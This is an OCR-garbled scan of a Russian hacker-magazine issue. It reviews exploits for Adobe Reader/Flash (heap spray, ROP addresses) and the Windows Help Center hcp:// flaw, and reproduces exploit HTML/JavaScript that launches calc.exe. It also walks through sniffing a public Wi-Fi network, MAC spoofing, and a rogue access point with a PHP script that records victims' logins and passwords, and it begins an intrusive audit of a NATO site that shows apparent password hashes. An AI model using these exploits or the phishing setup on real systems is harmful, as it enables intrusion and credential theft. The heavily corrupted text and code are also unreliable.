Асгоба! Реа6ег. 3ксплойт сра6отал как чась!. 5шР-файл внутри Р0Б
9[аае0!0. Результат открь:тия плейлиста
посвященной разработке эксплойта [которь;й ухе успел стать клас-
сическим... нерт' себя не похвалишь' никто хе'.'] с использованием
возвратно-ориентированного программирования' 3се. Больше о Р0Р
не говорю. Ёу и, конезно' эксплойт с комментариями ищи на диске.
@щ]щ
|1то делать пользователям, понятное дело - обновить плеер. А вот
программистам надо бь; бь:ть аккуратнее. !чить;вая то, что от ошибок
никто не застрахован' особенно не стоит пренебрегать/6!пап!сбазе /
65-флагами при компиляции. 14 еще - в связке с 5е[:0Р все этодобро
позволит перестраховаться и сохранить честь' так кактакой тандем
практически не пробиваем.
0 3 9-'д'^Ён}}??Ё',']'Ё. *
@
суЁ-201о 1297
п|.1а|т{
. А6обе Асгоба| Реа0ег . 9.4
о А6обе [[аз6 Р[ауег. 10.1
щ
3 онередной раз мир поразила 06ау-угроза для любителей продукции
А0обе. А куда деваться? 1емная сторона 6иль: нашла уязвимость в
о6работке байткода 5\'4/Ё Ё{азБ. !1то применательно, эксплойт' раз-
работаннь;й тьмой' 6ь:л заточен и под Асгоба| Реа6ег Фича в том' что
читалка поддерхивает воспроизведение флеш-анимации' а отсюда и
последствия атака сразу на два продукта. 3ксплойт этот бь!л разре-
версен и добавлен в йе1азр[о!1. [ак нто добро похаловать...
!'п'1ып
[1ь;таясь разобраться в том. откуда пришла про6лема' исследователи
обратили внимание на то, что 5![Р файл' которь;й использовался для
эксплуатации уязвимости и зарахения беднь:х юзеров' бь:л практи-
чески идентичен файлуАЁ5-Р!Р.зш[, которь:й есть в свободном до
ступе в [ети. |о6ственно' отличие 6ь:ло лишь в одном байте' а именно
в оригинальном файле 6айт-код 0х66 [6егРгорег!у) заменен на
хАк₠Р 08 /] з97 1 0
BemeP34 for Journal-plaza.net
!хР!-0!т5
пЁу!гш
- _ (-)х{](]01
0х700 ] 56!,
с-,, ] !]]:'|]
0хсссссссс,
0х7009084,
0х7009004,
0х70090в4,
0х7009004,
0х7009084,
0х70090в4,
0х]009033,
0х'7009064,
0хс0с0с0с,
0х]009064,
0х?009084,
0х7009064,
0х?009034,
0х?009084,
0х7009064,
()
: ,,:;1
Асгоба{ Реа6ег. 0 одер:кимое }теар-5ргау
байт-код 0х40 |пеш[шпс{;оп]. 6корее всего' обнарухить эту уязвимость
помог файловь!й фаззер.
[1ередтем' как сработает 5ш[-файл. в Р0Ё происходит Беар-зргау с
помощью _]ауа5сг!р1' в куче создается мнохество страниц с шеллко-
дом' но не только. для того' чтобь! обойти защиту 0[Р' в кучутак хе'
инхектится Р0Р-программа, которая с помощью системного вь!зова
создает новь!й кусок исполняемой памяти и копирует туда шеллкод'
[амое интересное - это как п0Р-программа из сгенерированной ьучи
попала в стек. уязвимость {вставка байт-кода пеш[0пс|!оп] приводит к
возмохности перезаписи указателя [сх значением 0х0с0с0о0[' пос-
ле чего происходит вь!зов са[[ [есх+0с]' Ёаунно доказано, что по этому
адресу обь!чно бь:ваютданнь:е из ьеар-5ргау- 3лостнь:й хакер так
рассчитал размер инхектируемь1х даннь!х, что по адресу 0х0с0с0с0с
+ 0х[ находится значение: 0х700] 56{.1о есть фактияески происходит
вь!зов са[[ 0х700'1 56{. 3тот адрес пр[,]надлехит в! 3'6[[ и содер* ит та кой
вот код:
поу еах, [есх+0х34]
]!!1| :]| 1 с'''' 1 !]:-)!]||]|]['[]1
]1
ршз}: [есх+0х24 ]
са] 1 [еах+8 ]
; ] 1 ]1' 1 |):.:{]1'!]1'1]1'(]( '|]]:!] 1']'||;:':' 1']:' []0 1а':
0х70048е| - адрес из той хе библиотеки' и содерхит следующий код
(1
1}
(ак видно, технику возвратно ориентированного программирова
ния м0хно использовать и 6ез инструкций пгт\. йохно вь:6ирать
инструкции до инструкции [А[[ или _]йР' если мохно контролировать
р е ги стр ь! -ука зател и '
@!и1щ
Ё|аз}; 1 0. 1 не содерхит этой уязвимости' так что патч менедхмент -
полезноедело' (рометого' 6и6лиотека Б!3.6[[' которая используется
эксплойтом' как донор инструкций' поддерхивает А5! Ё' а посему
владельць !!!п6ошз 7 могут спать спокойно - эксплойт не сработает
на их системах.
п !. вь|п0лнЁниБ пР0изв0льн0г0
!|, ! к0дА в ш|ш0ош5 не!_Р сЁштпЁ
@
су.-201 0 1 885
пп6г|ъ1
.\7!1п0ошз |Р
пг'|тя
(ак известно' существуют разнь!е взглядь! на политику разглаше_
ния информации об уязвимости. |осподин 1эвис 0рманди [}ам1з
0ггпап6у)' ухе не раз бь:вавший героем рубрики, например, при
дерх:,,]вается взгляда о полном разглашении, если разработни+ не
проявил долхного рвения к разработке патна. !ва месяца назад он
опу6ликовал 06ау в..)А!А 0ер{оугпеп| 1оо| (!(' а в этот раз замахнул-
ся на святое на \:\/!п6ошз |Р' вернее' на его п0дсистему помощи.
0н показал ми ру, ка к легко мохет бь;ть за пущен л юбой фа йл в
системе, достаточно лишь )} ертве перейти на специально сфор-
мированную страницу. }эвис сообщил \4!сгозо{|'у о проблемах'
но' по его словам' без эксплойта его послали подальше. 6пустя
несколько дней -[эвис сделал эксплойт' но та! \е сделал и публия-
нь;й релиз информации об уязвимости с техническими деталями
и примером эксплойта. 8скоре после этого темная сторона 6иль:
начала исполозова!ь э'1от )кспло;тдля атаки Ёа пользова:елей.
3 итоге \4!сгозо[! написала гневное письмо-соо6щение о том' что
6оо9[е это зло. *3, принем тут они?', спросишь ть1. Аа дело в
том' что |эвис является работником именно этой компании' где
занимается разного рода зесшг!|у-гезеагсБ'ем. Ёо вот 6оо9[е тут
хс|9 еах, езр
ге г
3оттаким образом указатель на стек стал указателем на кузу из Беар
зр'ау. !алее гриведу содрр + имое } у,и с гошагово/ нумерашией
действий (все значения равнь:4 байттам' первое значение в куче - по
адресу 0х0[0[0[06).
0х]004919
1
1,,11.:;, 1 :!,,:';: ] : : ; (:: 1: :|)
0хсссссссс,
0х70048е|| :: |( | :* ', .' '1]] ;(]1'.|] ]]
хАкЁР 08 /1з9/ ]0
> 045
BemeP34 for Journal-plaza.net
!х,Р!ш! ! 5
пЁу!Ёш
ью*п.Фьфффм{, шф'ф!(
а м}ыь&уюффошвю
о мфФ. (фюм фоудо0Фия л ФщФо оф{фФя
в ъи'й@ио6усфмяоф9'дфф1!
\г!!п6ошэ Ёе|р (,еп!ег. 3ксплойт ра6отает через любой браузер.
ни при чем; по словам ]эвиса, он делал все этот независимо от ра-
боть:, в свое свободное время и ради со6ственного удовольствия.
(омьюнити начала делится на два лагеря. [1идер !гппшп!|у написал
письмо' о том, что 1эвис, конечно, поспешил' но спускать со6ак на
него не надо. Разработники и так живут в шоколаде - ресерчерь!
бесплатно ищутуязвимости' сообщаютдетали и хдут'.. иногда ждут
год, иногда 6ольше. [ другой сторонь!, такой подход плодит заразу
и бь:л сравнен одним товарищем с кибертерроризмом' йда. Ёсть
и третья сторона - ш0 м0пЁ гпЁг в|..,05. |ругими словами. если
разработнику нухна информация об уязвимостях - пусть платит
и потом делает' что хочет. Ёекоторь:е разработяики ухе пошли по
такому пути...
@!!п
!-{ентр [1омощи и [1оддерхки - это [']0 [Бе|рс1пехе|, которое по умол-
чанию имеется в винде, оно мохет обрабать!вать [.)Р!* на документь;,
которь[е начинаются со специального префикса <Бср://"',[алее идет
проверка' есть ли даннь:й документ в списке довереннь:х. 8от' собс-
твенно,1эвис и нашел путь, которь;й позволяет о6мануть эту проверку.
8ернее, он нашел |55 в таком документе.
}тср :,/,/ зуэ|еп/ оуз !п! о/ зуэ |п! опа'п. ь[п? Бут=<ь1>[е5 с< /
ь1>
,[,окументь: эти находятся в привилегированной зоне' и ]эвис нашел
путь исполнить произвольнь;й код: : <5сг|рс
оегег>еуа1 (!пе5саре
('Рцп(''са1с.ехе,)' ) )</Бст]рс>.0днакоиз_зафильтра !88
так пользователя не взломать. [1 воттут наш хитрец изловчился - он
воспользовался \:!!п0ошз \4е0!а Р|ауеп.'.[а, да... дело в том' что этот
плеер мохетлегко вь!зь!ваться из 6раузера' например, с помощью его
Ас1!ме}. ! плеера есть возмохность ходить за всяким даннь!ми по |..]п|'
поэтому' подготовив небольшой А5[-скрипт, мохно указать плееру,
что показь!вать, и куда, собственно' ему идти:
<А$хуЁР5тош="з.0,'>
<РАРАм папе='' нтмт,у;еш,,
уа1це='' ьсср : / / ъъо! -оР\ / 5сагсье1р. ь!п]', / >
<вшт&у>
<квг ьге'= " ис ср | / / 7ьо7 -0Р!,/ьц9_у5 _'еагшге. ] р9,' / >
<./ вштпу>
< /А5х>
> о46
3того достатонно, чтобь! при открь!тии плеером он пошел по этим
линкам. РЁБуказь:ваетна картинку, которую гордо покахетна экране,
а вот РАпАм папе=''|1й|[!еи,'" поведет плеер за дополнительнь!ми
даннь!ми - з{аг|Ае[р.Б{гп[:
<!{гапе 5гс=',ьср : / /5ету1се5 /5еатс|?чшету=3пу!ь'п9&
сор{с=ьср :,/,/ зуз [еп/ эуэ{п{ о,/ зуз !п{ опа!п. псп?АъъА%ъА
8 вАв ъА??Аъ8А8 ъАъ 8Ав ъА8 8А??АъъАз ?Аа?А? вАв 8А??А??А? ъ
А8вАв 8АвъАъ?А??А??А?*Аъ аАв вА8 вАв вА8 ?А? ?Аъ 8Ав 8А8 8Ав
ъА?%А8 8Ав вАъ8А8 8А8 ъА? ?Аъ8Ав 8Ав 8А?8А8 8А8 8А8?А?ъА8?А
8 ?Аъ ?АъъА??А8 ъА3*А8 8А8 ъАаъА??Аъ 8Аъ?Аа8А8 вАъвА?ъАъ
ъА8 вА?ъАъъА??Аъ?А?%Аъ ъА8 8Аъ8А??Аъ8А?ъАъ?Ав вАъ 8Ав в
А??АввА88АъаАъ8А8ъАъ?АввА88А. . ъ5с. . 85₠зуэ{п!опа!п.
ьспъ00 0з {5уг= 83₠зсг|рс ?2 0ёе{ег83 Ёеуа1 в2 8шпеБсареъ
2 8 ъ2 7 Р!пъ2 5 2 8ъ2 5 2 2 с а1 с . ехе%2 52 2 \2 52 9 ъ 27 ъ2 9 ъ2 9 ъз с /
эсг1р[ *3 8 '' >
1ут 1эвис использует хитрую уязвимость обработки спецси мволов в
центре помощи, чтобь: обойти проверку на доверевность..[ело в том'
нто функция не очень хорош0 переводит из Бех'ов в числа при раскоди-
ровке {.]пе5саре_строки, поэтому в результате мь! увидим калькулятор.
Болеетого, с ]Ё7 мохно не париться из-за фильтра и сразутак и давать
фреймом по... центрупомощи.0днако вариантс йе6!а Р[ауег'ом мохно
использовать и для кросс-браузернь|х атак' что ]эвис и показал:
<псп1><ьеао><[1!1е>те5с1п9 нсР</[]с 1е></|еа6>
<ьоау><ь1>ок<,/ь1>
<5сг'рс >
/ / |1₠Р: /" .".!|1е1аь|1||у, тау!5 ог!папау, .,цпе 2010.
уаг азх = "ьв[р: //7ъо7_\]Ръ/э1пр1е.а3х,,; // дляплеера
/ / ₠'сги ]в, то ]]]уз'1м активикс и передае1{ ему а5х.
1{ (ш|п6ош.пау|оасот. арршапе
== ''м1сго5о'с 1псетпе[ Ёхр1огет,,) {
/'/ :п]]егпе| вхр]огег
уаг о = оосцпеп|'.сгеа!.ев1епеп[ (,ов.]вст" ) ;
о. 5есА|!г!ь0се ( ,'с1а55{о,, ,
'' с1з|0 : 6вг52А52 _з 94А_ 1 1сз _в1 5з _00₠04Р79РАА6', ) ;
о.орепР1ауег (а5х) ; //БАх!
/ / Ёслтл не тв, то открь]ваем а5х в фрейме,
/ / кр'утьте браузерь: сами пойцут, что нужен
/ /уцедтца ]]ппеер дпя этого...
} е1зе {
/ / !4о7\7]- а, с}11опе, в|с.
уаг о = оосцпеп!.сгеасев1епепс (,,1РкА}4Б', ) ;
о.3е[А!!г|ьц!е ( '' 5тс '' , азх) ;
сосцпеп[ . ьоау . аррепась1 1а ( о) '; / /Б^х!
)
<,/ 5сг1рс>
< /ьоау>< /ь[п1>
!обавлю, что плеер мерзко предупрехдаетотом, что ему надо зачем-
то сходить на 2|0!-|.]Р|.
@ц|щ
. 0тклюнить протокол Бср |удалив Ё(6Р\Ё[Р\зБе||\ореп] центр
помощи.
. 8оспол ьзоваться патчем от [эвиса - [:11р ://|ос [. спрхс Ац8!дэгп/
б ] 0а58б75029|7955|93{4а663661992/Бсо[о|{ х.:]р. 3тот патн фиксит
6инарник Бе[рс|гехе' делая проверку надехной'
. )(дать патна от й!сгозо{{. 3
онй о0ф о0а ов. @гщ Фяш Фй
п!фпнлгг [цйгБ:г;.
в вшш ш вввш@@
@@ш @ швввшв
шшв в швввшш
ввв ш шшппвш
шв@ ш
хАкБР 08 /1 з9/ 1 0
BemeP34 for Journal-plaza.net
пгпгй!.
] . кристина
\
<Беспроводной 1,{нтернет в кагщь:й д0м> _ весьма 3аманчивь:й лозунг. [0гласись,
{
ь
приятн0, к0гда твой провайдеР, еще каких-то 5 лет на3ад пред0ставлявший
м0демнь|й дощп, за считаннь!е дни ра3верть|вает в массь] !л/|Ё|-инфрасгру]щру
п0 всему г0р0ду (ну или хотя 6ь: в ег0 центре). (азалось 6ь:, с6ь:лась мечта иди0та,
и теперь ть!, сидя в [т|ащоналщсе и вкушая третий макфреш, см0жешь насладиться
бь:шрь:м интернет0м. }!0, присм0тревшись внимательн0, ть! п0нимаешь, чт0 так
не 6ь:вает _ 6езопасн0сть провайдера, а значит и всех ег0 шиент0в, 0ставляет
желать лшшег0. 9то6ь: не 6ь:ть г0л0сл0вной, предагаю тв0ему вниманию слунай
неформальн0г0 аудита недавн0 родившейся сети. [4, |п0 знает, м0жет 6ь:ть ть:
у6едишься в ег0 правдив0сти на св0ем г0ре-пр0вайдере.
!авай заранее договоримся: да6ь: соблюсти этикет и не ставить в
нел0вкое полохение моего провайдера' я не буАу назь!вать кон'
кретнь!е сайть: и брендьп {кому надо' тот все поймет сам]. |ем более
по закону ничего нарушено не бь;ло - аудит вь!полнялся исключи-
тельно под своими' честно купленнь!ми аккаунтами. !а и цель этой
статьи - не опорочить честь какой-то компании' а лишь указать на
общие недостатки \:!! Ё !- и нфраструктурь1, которь!е, наверня ка, при -
сутствуют у к рупьейших провайдеров.
пгРвь![ РА30чАР0вАния
йтак, вернемся к маркетингу' ['1редставь се6е крупнь:й рос-
сийский город-миллионник' в котором рекламщи ки затру6или
лозунгами: "Беспроводной' бь:стрь:й и удобнь:й [4'нтернет|", "|а
х^квР 08 /1з9/ ]0
сладись [етью в любимом кафе" и т'д. и т.п. (огда утебя в городе
появляется '1акая возмохность, то сразу хоче !ся ее реализовать.
8едь' согласись, удобно [а для москви';ей и петсрбурхцсв ухе
давно привь!чно - прим. ред.} сидеть в каком-ни6удь кафе со
своим вернь!м другом_ноутбукоь: и о6ща'ться по асБке о делах
насущнь!х.
!о, немного поо6щавшись, испь!тав серию разро!вов и дисконнектоБ,
я почувствовала нотки первь!х разонарований. й дахе не потому' что
канал сла6оват' а потому что при повторном коннекте [дахе через '1 0
минут) не тре6овалось пов:орной авторизации'
3то нто еще такое? 3начит' я плачу за доступ, а провайдер совсем не
заботится о моей безопасности [ведь все сессии после моего ухода
теоретически могут 6ь:ть доступнь! другим людям|). ['1осле такого
> о47
BemeP34 for Journal-plaza.net
взс3
]'1з АРР-сообщений мо}кно узнать ].4А( и !Р других
пользователей сети
оо1696 вз ц о. ф 21 5а1.ф 6а о3 о6
ов Ф о6 Ф оо о1 ф 21 3! 1. 6ь 6. о. оо
оо159аа]ц
удивления мне захотелось чуть-чуть поснифать сетку, а
затем проверить предполохения.
(ак законопослушная девушка, я не стала снифать компь:
посетителей крупного кафе [сидящих на том хе 6ес-
проводном интернете]. 8место этого я пригласила друга
с нощ6уком :). 0н угостил меня чашечкой кофе и стал
имитировать 6урную деятельность в [ети (запустил аську,
контакт, проверил понц и т'п.]'
нюхАгм и... зАдь!хАгмся!
! хе, не теряя времени, запустила \.4/!ге5Баг[ и стала
мониторить периметр. [реди пакетов я сразу увидела
55|-рукопохатие на сайте провайдера...
( слову, как происходит авторизация соединения| сначала
кл иент кон нектится к неза щи щен ной \,^/[ Р/\/\/РА-точ ке,
затем обращается 6раузером на лю6ой сайт в 6ети и ре-
директится на страницу авторизации. [ам он вводит логин
и пароль личного счета (пополняемого путем отправки
5\45-сообщения на специальнь;й номер), и после этого, по
всей видимости' на ролере создается правило' позволяю_
щее юзать интернет.
]ак вот, после зашифрованной 55|-авторизации я
увидела совершенно незакриптованнь!е пароли от
<8(онтакте> и почть!' слегка за{0Р'еннь!е пассвордь! от
Аськи [которь:е легко вскрь!ваются тем хе (.){азо[{ 5п|{{ег
или !п|ег6ер1ег'ом] и неприлиннь!е ссь!лки' ведущие на
порносайть: (совсем ухе никого не стесняется.-. :]. я не
упоминаю про других клиентов этой сети [их я не анали-
зировала, поскольку специально поставила фильтр на
!Р-адрес друга' что6ь: не нарушать закон).
Ёо' как говорится' если совсем хочется, то мохно [и дахе
нухно|) нуть-нрь нарушить [но только для расширения
кругозора :). 3ная !Р и йА₠-адреса' фицрирующие в
периметре [а они узнаются анализом АРР-сообщений]'
мохно легко их проспуфить.
Ёа сайте провайдера написано' что перед отключением от
[ети нео6ходимо завершить сессию путем нахатия кноп-
ки .8ь:ход'' на авторизационном сайте' инане аккаунт 6у-
дет досцпен еще некоторое время после отключения. 3то
нам только на руку' поскольку далеко не какдь:й клиент
будет этим заморачиваться :]'
21так' с помощью хорошей программь! по смене &А6-
адресов - йА66бап9е (или врунную, кто как любит] - из-
меним адрес своего 6еспроводного адаптера на извест-
нь:й нам йА[ соседа'
!е за6удем присвоить себе его [Р 3атем попро6уем
подключи1ься к се'ти' 0 чудо' оказь!вается' провайдер
8 кадре виден логин, пароль и адрес хоста'
на котором производилась авторизация
допускает как 0Ё[Р-' так и 5|а1|с-адресацию. й' таким
о6разом' мохно наслахдаться прелестями беспроводного
интернета бесплатно' А точнее, за нухой снет|
А чт0' Ёсли?..
!у' раз ух мь! нарушили закон ради эксперимента' попро-
буем углубить и расширить наш опь!т' |-!то бь: еще такого
придумать' чтобь: показать все недостатки нашей бес-
проводной сети? ₠разу хе приходит мь:сль об организа-
ции й!1й-атаки, пгем инсталляции подставной точки. Ёо
здесь ухе в кафе не располохишься'
,0,ля проведения такого опь!та нам необходимо иметь не_
сколько компонентов: веб-сервер' точку досцпа и нощбук
для тестирования.
йне пришлось идти домой, искать на антресолях за-
валявшийся 0!Р-300 и настроить на нем 0Ё8Р-сервер'
55!0 точки я определила аналогичнь!м идентификатору
оп ерато ра '
8 качестве ве6-сервера я вь:брала компактнь:й и удобнь:й
5па|| [{-[[Р 5ешеп йного слов ухе бь:ло сказано об этом
маль!ше. \4не лично нравится его удо6нь;й интерфейс
и' несмо!ря на весьма небольшие размерь!' широкий
фун кционал.
[1однимем на нем !!Ё8- и 0\5-серверь:, нтобь: при по_
пь:тке зайти на какую-ни6удь веб-страницу пользователя
направляло на Ё1й!_-страници напоминающую упомяну-
ть:й сай-г регистрации в сети оператора. [еперь создадим
РЁР-скриптик, сохраняющий вводимую на сайте инфор-
мацию в отдельнь:й 1х1-файл.
< ?рьр
${|1епапе ='$: \}топе\1оса1ьо5[\м\]п{о.схв, ;
$а = $_свт[,1оо!п'];
$ь = $_свт|,ра55шого,] ;
$5опесопсепв = " -- \от'ин
роль _ \п" . $ь. " __ \п" '
\п''.$а." _-па-
/,/ проверка су!!ествован!!я и дос,гупа для
записи файла
][ (]э_шг1са|1е ($'|1епапе) )
'' (!$ьапа1е = {ореп(${!1епапе, 'г+'))
{
есьо "не могу открь|ть файл (${11епапе)'';
ех]!;
)
|! ( !'шт!се($ьапа1е, $5опесоп!епс) )
{
;Ф м ш6 тфт ]ф!
вв;ед .|ё фФт
шр
& [в|Ё]| ое@п вв@!{ 8
оо2о
15! 12.1я6о3
16' 12.'2о919
1о.о.
1о.о'
1о.о.
г 0у6
!а диске ть;
найдешь программь!,
оказавшие мне
посильную помощь
в экспериментах
[ \4А[6 Бап9е,
5па[[ Ё1-[Р 5егуес
[[!ге5Баг[ со всеми
утилитами' [.'та5о{|
5п!{{ег, !п1ег6ер1ег]'
а такхе РнР-скрипт,
пе рехвать! ва ю щи й
авторизационнь]е
сведения.
} \,уагп!п9
8нимание!
й нформа ция
п редста вл е на
ис кл юч ител ьн о
с целью
ознакомления!
|и автор' ни
редакция за
твои действия
ответстве н н ости
не несут|
) 048
х^кЁР 08 /!з97 10
BemeP34 for Journal-plaza.net
Ааарь( у!фе|1 (умшаге
ше[шогк А6.рь. урие[8 ( ур|шаге
Р*"*ч,Рв-ш-щ
щ-щ-в-ш-в-цв
г-Б;:г 5.,*ь.пп:
14А₠(}:а п9е. 14зменен ие }т|А[-адреса своего
беспроводного адаптера
есьо "не моц/ щ)оизвести замсь в файл ($|!]епше) ";
ех][;
)
е]5е{есьо " ";}
есио ''записано ($9опесопсепс) в Файл (${|1епапе)'';
{с1озе($1тап61е);
)
е15е {
еспо ''Файл ${|1епапе недоступен для эалиси'' 1
)
?>
[1одстава готова, запускаем |
м!тм в дЁйствии
[1лан крахи логина и пароля от сети таков: пользователь активирует
свой 6еспроводной адаптер и пь!тается подключиться к сети. [1ри
этом в списке доступнь!х сетей он видит подставную точку досцпа с
тем хе 55!0, что и у коммерческого оператора. 6истема вь!носит ее
на первь;й порядок, поскольку сигнал от нее сильнее операторского'
,[,алее клиент подключается к этой точке, заходит в свой браузер и
попадает на страницу авторизации. 3та страница такхе имеет схохий
со страницей оператора интерфейс. 11ользователь, ничего не подо-
зревая, вводит свои реквизить! в соответствующие поля. ['1ри нахатии
на кнопку,.войти'' введеннь!е им даннь!е сохраняются посредством
Р!-1Р-скрипта в текстовь:й файл на сервере' А клиент остается без
Ён!#жн'%
8вод логина и пароля на подставном сайте
интернета [и' конечно хе, без логина с паролем ,! - прим. Ред.). 9тобь:
ничего не упустить из виду пробуем авторизоваться на подставной
точке досцпа: вводим реквизить!' хмем ..войти>>.'. далее ничего не
происходи1 как кахется о6ь:нному юзеру, но скрипт ухе сделал свое
грязное дельце, и даннь!е сохранень! на сервере. 0ткроем этот файл и
посмотрим его содерхимое.8уаля| 8отданнь!е, которь!е мь! ввели' и
сюрприз; кто-то ухе подключился к нашей точке досцпа и теперь есть
еще пара логинов и паролей для входа в сеть. 8 такой сицации дахе
55|-авторизация не спасает от крахи реквизитов.
пАциЁнт ск0РЁЁ жив' чгм мБРтв
9то мохно тут сказать? [амое страшное' что таких сетей больше по-
ловинь! по всей стране 1только мне известнь! четь!ре крупнь!х города-
миллионника с подобной схемой авторизации).А никто не мохет
гаранти ровать легити м ность входя щих пользователей. [') ри этом
владельць! сервисов практически никогда не предупрехдают своих
клиентов об уязвимости их даннь!х' о рисках крахи информации. 8се
хахдуг увеличения прибь:ли, прене6регая при этом всеми методами
обеспечения безопасности, поскольку это приводит к снихению ско-
рости передачи даннь!х и услохняет процесс настройки клиентского
оборудования (и' соответственно, получения досцпа к сети].
[1оэтому хочу напоследок дать хороший совет: обращай внимание
на точки доступа' к которь!м ть! подключаешься' и не передавай
вахную информацию в незащищеннь!х сетях (либо используй при
этом !Р\-соединение]' поскольку это мохет привести к фатальнь:м
последствиям. т
ия{онашне.оии!.р..'а, -
Ф зоф ! ! м6 яшдек(
илсс неннь!ми даннь|ми
Файл [1равка Форщат
8э:д ₠правка
л\
х^к₠Р 08 /1з9/ ]0 > о49
BemeP34 for Journal-plaza.net
[е6е30пасн0сть нАт0
кАк нАт0 Б0Ргтся с хАкгРАми
8 моем материале ть! м0жешь увидеть, как трудн0, 0ка3ь|вается, сделать
правильную систему ве6-арентификации. 0со6енн0 еши эт0 касается 6ольшого
к0рп0ративн0г0 п0ртала. ]4 тем 60лее, если 0н 0твечает за 6езопасн0сть целой
странь!' да прит0м не 0дн0и.
8 нашем ху0нале появилась очень хооошая практика - стали пу-
бликоваться аудиторь! информационной безопасности. 0невидно, нто
акцальность темь! аудита возросла многократно. Ёаш постояннь:й чи-
татель' конечно, пони мает, понему. .0,остаточно просмотреть архи вную
подшивку хурнала за прошедшее время и мохно смело гверхдать,
что с помощью технологий и программ' о которь!х писали в этих .|аке-
рах>' мохно успешно воевать [и не только на коммерческом рь:нке).
(стати' про корпоративную безопасность. йногие ухе давно говорят
о том' что атаки таких классов как 50|-инъекция' использование
х55' |г]/пг! или оши6ок в ащентификации' изхивают свой век и ухе
не акцальнь!' йногие специалисть! приводят в своих презентациях
всевозмохнь!е графики, на которь!х отобрахень: все время умень-
шающиеся .столбики, с процентами обнарухиваемь:х уязвимостей
подобного рода.
['1рактика показь!вает' что доверять таким цифрам нельзя, потому что'
как правило' в качестве исходнь!х даннь!х для красивь!х графиков ис-
пользуются результать! автоматического сканирован ия веб-ресурсов
не менее автоматическими сканерами. (онечно' современнь!е
автоматические сканерь] [подобнь:е Асцпе|!х, п![1о, ш3а[ и зч!гпар) ухе
стали похохи на искусственнь:й интеллект - они не умеют разве что
) 050
только заваривать кофе и оказь!вать эскорт-услуги. Ёо, к сохалению'
они неспособнь! распознать и вскрь!ть правду о слохнь!х логических
оши6ках аутентификации' скрь!ть!х дефектах генерации вь!ходнь!х
даннь[х' а зачасцю и о6работки входнь!х даннь!х. Ёадо ли говорить о
прость!х уязвимостях, которь]е сами по себе не представляют опас-
ности' но, будуни связань: мехду собой, мог}т дать новь:й вектор атаки
злоум ь: шлен н и ку?
/ вот вам' похалуйста.
Р!шитЁльн0Ё нАт0
(ак известно' 0рганизация 6евероатлантинеского договора, извест-
ная такхе под аб6ревиацрой ЁА[0, является военно-политическим
блоком' создан н ь!м давн ь!м-давно для проти вод ействия возмохнь] м
военнь!м действиям, направленнь!м против стран Ёвропь; и Америки.
Россия {тогда еще [оветский 6оюз} в этот блок не вошла' потому что
изначально предполагалось, что и она тохе мохет эти самь!е агрес-
сивнь!е военнь!е действия осуществлять.
8 струкцре ЁА[0 существуют всякого рода организации' которь!е от-
вечают за разработки в о6ласти 6езоласности - начиная от военной'
научно-технической и заканчивая информационной. [4' дальше рень
х^квР 08 /1 з9, 1 0
BemeP34 for Journal-plaza.net
|]|на]
3
9
8от так вь]глядят хеши' если их привести
в нормальнь:й вид и сопоставить с уже
полученнь]ми даннь|ми
пойдет про информационную безопасность' а конкретнее - про нау-
чнь:й инститл Резеагс[ & 1есБпо[о9у 0г9ап!ьа1!оп [Р10], созданнь:й в
рамках ЁА[0.
8 нашем хурнале ухе писали о6 уязвимостях военнь!х сайтов наших
<союзников>>. (ак-то раз герои информационной войнь: кРепко подме-
тили, что у <сетецентрических воинов> безопасность есть' информа-
ция есть, а вот безопасность информации - увь!, не на вь!соте.
Ёу нто х' опровергнем или подтвердим?
пЁРвь]й 0см0тР
Ёаунно-исследовательская оРганизация ЁА10 - предприятие не
из маленьких. [1одстать финансовому размаху и веб-сайт, которь:й
со временем из простой интернет-витринь! вь!рос в цель:й портал, в
дебрях которого теперь хранится дахе 8оенная [айна. 8от, например'
для того' нто6ь: полунить секретнь!е докладь!, участникам не менее
секретнь!х военнь!х симпозиумов вь!дают логинь! и пароли для до-
сцпа к файловому сеРверу и ве6-сайц пт0.шАт0.!шт' 8се бь: хорошо'
вот только участники подкачали _ хивуг они в разнь!х странах и, в
основном, за тридевять земель' а посему бь;ло велено разместить все
это добро на вь!деленнь1х серверах с подключением к сети интернет.
3десь сказонке конец' а дальше - начало процесса независимого
аудита применяемь;х решений по защите 8оенной 1айнь: подслед-
Ё{-_]-----г -- 0- ъ
},о !'.!ммэпв щёшазй раф@з8!-!ц Рпё|мфп
1 2]5п91Ро1н112Р4|60193|з]]1$ц2[92п 16[ц!:6ьь9297а13}ф!]2.с07{я2].3 птАс$
2 1 ч212|!]57шп92п0!]32|61Р15п '3п 15[ 11р ь'36з$2сфм]63767з72а!..1. Ф[!
] * 26п7!126в3!ф!'Ффп9!2! 2!7!1Ф!227!Ф6!21].!ь7.5зф]&ьвф!..]аф93 Ф
2цФш6 57!69п00пфл6п],!13?|12Р52|7ов]..}ссфз9.я!.797ь60снФ.1
6?|61Р12|60!01!!з!35п{р5!оз159!шп}рп!].}ф]с109ф0559фз67]ьь3362*!
з2!
1Ф|яп7{1]п5/п2рб|65п21[6Р5|!20116|26|1!з ]ц20.сфн0с2н179ць7.921.3&.
1и|27|ъ1рфаРл160202[ш 15121'|1ф|71и6Р(ы]й5]7сашс.ыф.ьд72ф6$
$2н0]69|щ1з|2!17|1ф!1!ш|2ззР2]РФРб шн5&&1&0и0.9.0сйья
1й|Ф[709!1!8п]аф|89[6@15|'1|Р|9Р1511чь61.'&7692.Б9й75фф7Фо
&вффщ1зпФ16!'!и]*6*о!136п30ш1:я6?5@.ф1з53с9мм2с&
!
}!
з]
191р вш!1?!|21!6ф2лФ[5|210109|71рф(м1ш17соцс.шффф7м5
ственнои организации.
Рассмотрим для начала такую мелочь' как файл гобо!з.{х!:
т-]5ег_а9епс: *
!!ва11ош: /1па9ев/
в'5а11ош:,/'п9/
9|за1}ош: /}:опер!х/
о|5а11ош: /гп61по/
о]5а11ош: /тпс1цое/
о|5а11ош:,/ьр|х,/
о|5а11ош: /ма!1ет/
о!5а11ош: /т\'оРас|/
о'5а11ош: /а5рх/
!|за11ош: /Б!п/
91эа11ош: /с9!-ь!п/
!13а11ош: /сопсасс(_15. а3рх
!|ва11ош: /(оруг!ог1[. |!п
!!эа11ош:,/сэз/
!13а]1ош: /ое[а{].аэр
|1эа11ош: /епго]пеп!3/
!]ва11ош: /гА0.ььп
9!за11ош: /гоаа.ь|'п
о|5а11ош:,/гт7
9]эа11ош: /ие1р.ь[п
о'5а11ош: /р{р.рр|
!!за11ош: /Рго9/
!|эа]]ош: /верог[5.а5р
п|5а11ош: /5епсАь5етасс'оева113. а5рх
||за11ош:,/[от.а5р
х^кЁР 08 /1з9, 10
